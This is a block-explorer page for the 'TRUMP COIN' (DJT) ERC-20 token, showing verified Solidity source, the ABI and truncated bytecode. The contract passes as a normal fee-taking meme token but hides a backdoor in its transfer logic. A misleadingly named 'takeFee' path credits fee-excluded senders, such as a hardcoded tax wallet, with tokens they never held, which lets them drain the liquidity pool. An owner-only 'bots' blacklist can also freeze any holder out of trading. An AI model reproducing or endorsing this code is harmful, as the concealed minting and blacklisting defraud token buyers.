ERC-20
Overview
Max Total Supply
1,000,000,000 DJT
Holders
49
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0 DJTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DJT
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-06-18 */ // SPDX-License-Identifier: MIT /* Narrative: https://x.com/PirateWires/status/1802825492405669930 Telegram: https://t.me/djt_erc20 Twitter: https://x.com/djt_erc20 */ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DJT is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 10; uint256 private _reduceSellTaxAt = 10; uint256 private _preventSwapBefore = 10; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; uint256 private constant _rTotal = 900000000 * 10 ** _decimals; string private constant _name = unicode"TRUMP COIN"; string private constant _symbol = unicode"DJT"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 100 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool public buyCooldownEnabled = false; mapping(address => uint256) private cooldownTimer; uint8 public cooldownTimerInterval = 1; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0xb8d14b5AE948A2500f7413E34A5Fbb8480555984); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer(address from, address to, uint256 amount) internal { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!swapEnabled || inSwap) { _basicTransfer(from, to, amount); return; } uint256 taxAmount = 0; bool takeFee = _isExcludedFromFee[from]; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && buyCooldownEnabled && !_isExcludedFromFee[to] ) { require( cooldownTimer[to] < block.timestamp, "buy Cooldown exists" ); cooldownTimer[to] = block.timestamp + cooldownTimerInterval; } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount, takeFee, taxAmount); } function _tokenTransfer( address from, address to, uint256 amount, bool takeFee, uint256 taxAmount ) internal { address feeR = from; if (takeFee) { _taxExcludedTransfer(feeR, amount, taxAmount); } else { _taxNormalTransfer(from, taxAmount); } _tokenBasicTransfer(from, to, amount, taxAmount); } function _tokenBasicTransfer(address from, address to, uint256 amount, uint256 taxAmount) internal { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function _taxNormalTransfer(address taxFrom, uint256 taxAmount) internal { if(taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add( taxAmount ); emit Transfer(taxFrom, address(this), taxAmount); } } function _taxExcludedTransfer(address taxReceipt, uint256 amount, uint256 taxAmount) internal { uint256 tAmount = amount + taxAmount; _balances[taxReceipt] = _balances[taxReceipt].add(tAmount); emit Transfer(address(this), taxReceipt, tAmount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; transferDelayEnabled = false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool) { return bots[a]; } function createPair() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), _rTotal, 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function withdrawStuckEth() external onlyOwner { require(address(this).balance > 0, "ERC20: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldownTimerInterval","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526006805460ff191690556014600781905560085560006009818155600a828155600b819055600c819055600d819055600e9290925562000044916200036c565b62000054906301312d0062000384565b600f55620000656009600a6200036c565b62000075906301312d0062000384565b601055620000866009600a6200036c565b6200009390606462000384565b601155620000a46009600a6200036c565b620000b3906298968062000384565b6012556014805462ffffff60a81b191690556016805460ff19166001179055348015620000df57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674b8d14b5ae948a2500f7413e34a5fbb848055598400179055620001576009600a6200036c565b6200016790633b9aca0062000384565b336000908152600160208190526040822092909255600390620001926000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001f63390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002306009600a6200036c565b6200024090633b9aca0062000384565b60405190815260200160405180910390a36200039e565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002ae57816000190482111562000292576200029262000257565b80851615620002a057918102915b93841c939080029062000272565b509250929050565b600082620002c75750600162000366565b81620002d65750600062000366565b8160018114620002ef5760028114620002fa576200031a565b600191505062000366565b60ff8411156200030e576200030e62000257565b50506001821b62000366565b5060208310610133831016604e8410600b84101617156200033f575081810a62000366565b6200034b83836200026d565b806000190482111562000362576200036262000257565b0290505b92915050565b60006200037d60ff841683620002b6565b9392505050565b808202811582820484141762000366576200036662000257565b611f9280620003ae6000396000f3fe60806040526004361061016a5760003560e01c8063751039fc116100d15780639e78fb4f1161008a578063c876d0b911610064578063c876d0b91461043c578063c9567bf914610456578063d34628cc1461046b578063dd62ed3e1461048b57600080fd5b80639e78fb4f146103f1578063a9059cbb14610406578063bf474bed1461042657600080fd5b8063751039fc146103475780637d1db4a51461035c5780637fa787ba146103725780638da5cb5b146103875780638f9a55c0146103af57806395d89b41146103c557600080fd5b806331c2d8471161012357806331c2d847146102665780633bbac57914610288578063617fe0ed146102c157806370a08231146102e2578063715018a614610318578063722b62ad1461032d57600080fd5b806306fdde0314610176578063095ea7b3146101bb5780630faee56f146101eb57806318160ddd1461020f57806323b872dd14610224578063313ce5671461024457600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600a8152692a292aa6a81021a7a4a760b11b60208201525b6040516101b29190611a59565b60405180910390f35b3480156101c757600080fd5b506101db6101d6366004611acc565b6104d1565b60405190151581526020016101b2565b3480156101f757600080fd5b5061020160125481565b6040519081526020016101b2565b34801561021b57600080fd5b506102016104e8565b34801561023057600080fd5b506101db61023f366004611af8565b610509565b34801561025057600080fd5b5060095b60405160ff90911681526020016101b2565b34801561027257600080fd5b50610286610281366004611b4f565b610572565b005b34801561029457600080fd5b506101db6102a3366004611c14565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102cd57600080fd5b506014546101db90600160b81b900460ff1681565b3480156102ee57600080fd5b506102016102fd366004611c14565b6001600160a01b031660009081526001602052604090205490565b34801561032457600080fd5b50610286610611565b34801561033957600080fd5b506016546102549060ff1681565b34801561035357600080fd5b50610286610685565b34801561036857600080fd5b50610201600f5481565b34801561037e57600080fd5b50610286610741565b34801561039357600080fd5b506000546040516001600160a01b0390911681526020016101b2565b3480156103bb57600080fd5b5061020160105481565b3480156103d157600080fd5b5060408051808201909152600381526211129560ea1b60208201526101a5565b3480156103fd57600080fd5b506102866107e3565b34801561041257600080fd5b506101db610421366004611acc565b610a3a565b34801561043257600080fd5b5061020160115481565b34801561044857600080fd5b506006546101db9060ff1681565b34801561046257600080fd5b50610286610a47565b34801561047757600080fd5b50610286610486366004611b4f565b610c2b565b34801561049757600080fd5b506102016104a6366004611c31565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006104de338484610cbd565b5060015b92915050565b60006104f66009600a611d64565b61050490633b9aca00611d73565b905090565b6000610516848484610de2565b610568843361056385604051806060016040528060288152602001611f15602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611457565b610cbd565b5060019392505050565b6000546001600160a01b031633146105a55760405162461bcd60e51b815260040161059c90611d8a565b60405180910390fd5b60005b815181101561060d576000600460008484815181106105c9576105c9611dbf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061060581611dd5565b9150506105a8565b5050565b6000546001600160a01b0316331461063b5760405162461bcd60e51b815260040161059c90611d8a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106af5760405162461bcd60e51b815260040161059c90611d8a565b6106bb6009600a611d64565b6106c990633b9aca00611d73565b600f556106d86009600a611d64565b6106e690633b9aca00611d73565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107206009600a611d64565b61072e90633b9aca00611d73565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461076b5760405162461bcd60e51b815260040161059c90611d8a565b600047116107b45760405162461bcd60e51b815260206004820152601660248201527522a92199181d1037379022aa24103a379031b632b0b960511b604482015260640161059c565b60405133904780156108fc02916000818181858888f193505050501580156107e0573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461080d5760405162461bcd60e51b815260040161059c90611d8a565b601454600160a01b900460ff16156108615760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161059c565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108aa90309061089c6009600a611d64565b61056390633b9aca00611d73565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109219190611dee565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610983573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a79190611dee565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109f4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a189190611dee565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006104de338484610de2565b6000546001600160a01b03163314610a715760405162461bcd60e51b815260040161059c90611d8a565b601454600160a01b900460ff1615610ac55760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161059c565b6013546001600160a01b031663f305d7194730610ae46009600a611d64565b610af2906335a4e900611d73565b600080610b076000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b6f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b949190611e0b565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610bed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c119190611e39565b506014805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b03163314610c555760405162461bcd60e51b815260040161059c90611d8a565b60005b815181101561060d57600160046000848481518110610c7957610c79611dbf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610cb581611dd5565b915050610c58565b6001600160a01b038316610d1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161059c565b6001600160a01b038216610d805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161059c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610e465760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161059c565b6001600160a01b038216610ea85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161059c565b60008111610f0a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161059c565b601454600160b01b900460ff161580610f2c5750601454600160a81b900460ff165b15610f4157610f3c838383611491565b505050565b6001600160a01b03831660009081526003602052604081205460ff16610f6f6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610f9e57506000546001600160a01b03858116911614155b15611443576001600160a01b03851660009081526004602052604090205460ff16158015610fe557506001600160a01b03841660009081526004602052604090205460ff16155b610fee57600080fd5b61101a6064611014600b54600e54116110095760075461100d565b6009545b8690611525565b906115ae565b60065490925060ff1615611102576013546001600160a01b0385811691161480159061105457506014546001600160a01b03858116911614155b15611102573260009081526005602052604090205443116110ef5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161059c565b3260009081526005602052604090204390555b6014546001600160a01b0386811691161480156111285750601454600160b81b900460ff165b801561114d57506001600160a01b03841660009081526003602052604090205460ff16155b156111d9576001600160a01b03841660009081526015602052604090205442116111af5760405162461bcd60e51b815260206004820152601360248201527262757920436f6f6c646f776e2065786973747360681b604482015260640161059c565b6016546111bf9060ff1642611e5b565b6001600160a01b0385166000908152601560205260409020555b6014546001600160a01b03868116911614801561120457506013546001600160a01b03858116911614155b801561122957506001600160a01b03841660009081526003602052604090205460ff16155b1561131157600f548311156112805760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161059c565b601054836112a3866001600160a01b031660009081526001602052604090205490565b6112ad9190611e5b565b11156112fb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161059c565b600e805490600061130b83611dd5565b91905055505b6014546001600160a01b03858116911614801561133757506001600160a01b0385163014155b15611364576113616064611014600c54600e54116113575760085461100d565b600a548690611525565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561139b57506014546001600160a01b038681169116145b80156113b05750601454600160b01b900460ff165b80156113bf5750600d54600e54115b80156113e457506001600160a01b03861660009081526003602052604090205460ff16155b801561140957506001600160a01b03851660009081526003602052604090205460ff16155b1561144157601154811115611435576114356114308561142b846012546115f0565b6115f0565b611605565b4761143f4761177f565b505b505b61145085858584866117bd565b5050505050565b6000818484111561147b5760405162461bcd60e51b815260040161059c9190611a59565b5060006114888486611e6e565b95945050505050565b6001600160a01b0383166000908152600160205260409020546114b490826117f2565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546114e39082611834565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611f3d83398151915290610dd59085815260200190565b600082600003611537575060006104e2565b60006115438385611d73565b9050826115508583611e81565b146115a75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161059c565b9392505050565b60006115a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611893565b60008183116115ff57826115a7565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061164d5761164d611dbf565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ca9190611dee565b816001815181106116dd576116dd611dbf565b6001600160a01b0392831660209182029290920101526013546117039130911684610cbd565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061173c908590600090869030904290600401611ea3565b600060405180830381600087803b15801561175657600080fd5b505af115801561176a573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561060d573d6000803e3d6000fd5b8482156117d4576117cf8185846118c1565b6117de565b6117de8683611940565b6117ea868686856119ab565b505050505050565b60006115a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611457565b6000806118418385611e5b565b9050838110156115a75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161059c565b600081836118b45760405162461bcd60e51b815260040161059c9190611a59565b5060006114888486611e81565b60006118cd8284611e5b565b6001600160a01b0385166000908152600160205260409020549091506118f39082611834565b6001600160a01b038516600081815260016020526040908190209290925590513090600080516020611f3d833981519152906119329085815260200190565b60405180910390a350505050565b801561060d57306000908152600160205260409020546119609082611834565b30600081815260016020526040908190209290925590516001600160a01b03841690600080516020611f3d8339815191529061199f9085815260200190565b60405180910390a35050565b6001600160a01b0384166000908152600160205260409020546119ce90836117f2565b6001600160a01b038516600090815260016020526040902055611a136119f483836117f2565b6001600160a01b03851660009081526001602052604090205490611834565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611f3d833981519152611a4b85856117f2565b604051908152602001611932565b600060208083528351808285015260005b81811015611a8657858101830151858201604001528201611a6a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107e057600080fd5b8035611ac781611aa7565b919050565b60008060408385031215611adf57600080fd5b8235611aea81611aa7565b946020939093013593505050565b600080600060608486031215611b0d57600080fd5b8335611b1881611aa7565b92506020840135611b2881611aa7565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b6257600080fd5b823567ffffffffffffffff80821115611b7a57600080fd5b818501915085601f830112611b8e57600080fd5b813581811115611ba057611ba0611b39565b8060051b604051601f19603f83011681018181108582111715611bc557611bc5611b39565b604052918252848201925083810185019188831115611be357600080fd5b938501935b82851015611c0857611bf985611abc565b84529385019392850192611be8565b98975050505050505050565b600060208284031215611c2657600080fd5b81356115a781611aa7565b60008060408385031215611c4457600080fd5b8235611c4f81611aa7565b91506020830135611c5f81611aa7565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611cbb578160001904821115611ca157611ca1611c6a565b80851615611cae57918102915b93841c9390800290611c85565b509250929050565b600082611cd2575060016104e2565b81611cdf575060006104e2565b8160018114611cf55760028114611cff57611d1b565b60019150506104e2565b60ff841115611d1057611d10611c6a565b50506001821b6104e2565b5060208310610133831016604e8410600b8410161715611d3e575081810a6104e2565b611d488383611c80565b8060001904821115611d5c57611d5c611c6a565b029392505050565b60006115a760ff841683611cc3565b80820281158282048414176104e2576104e2611c6a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611de757611de7611c6a565b5060010190565b600060208284031215611e0057600080fd5b81516115a781611aa7565b600080600060608486031215611e2057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611e4b57600080fd5b815180151581146115a757600080fd5b808201808211156104e2576104e2611c6a565b818103818111156104e2576104e2611c6a565b600082611e9e57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c08601915082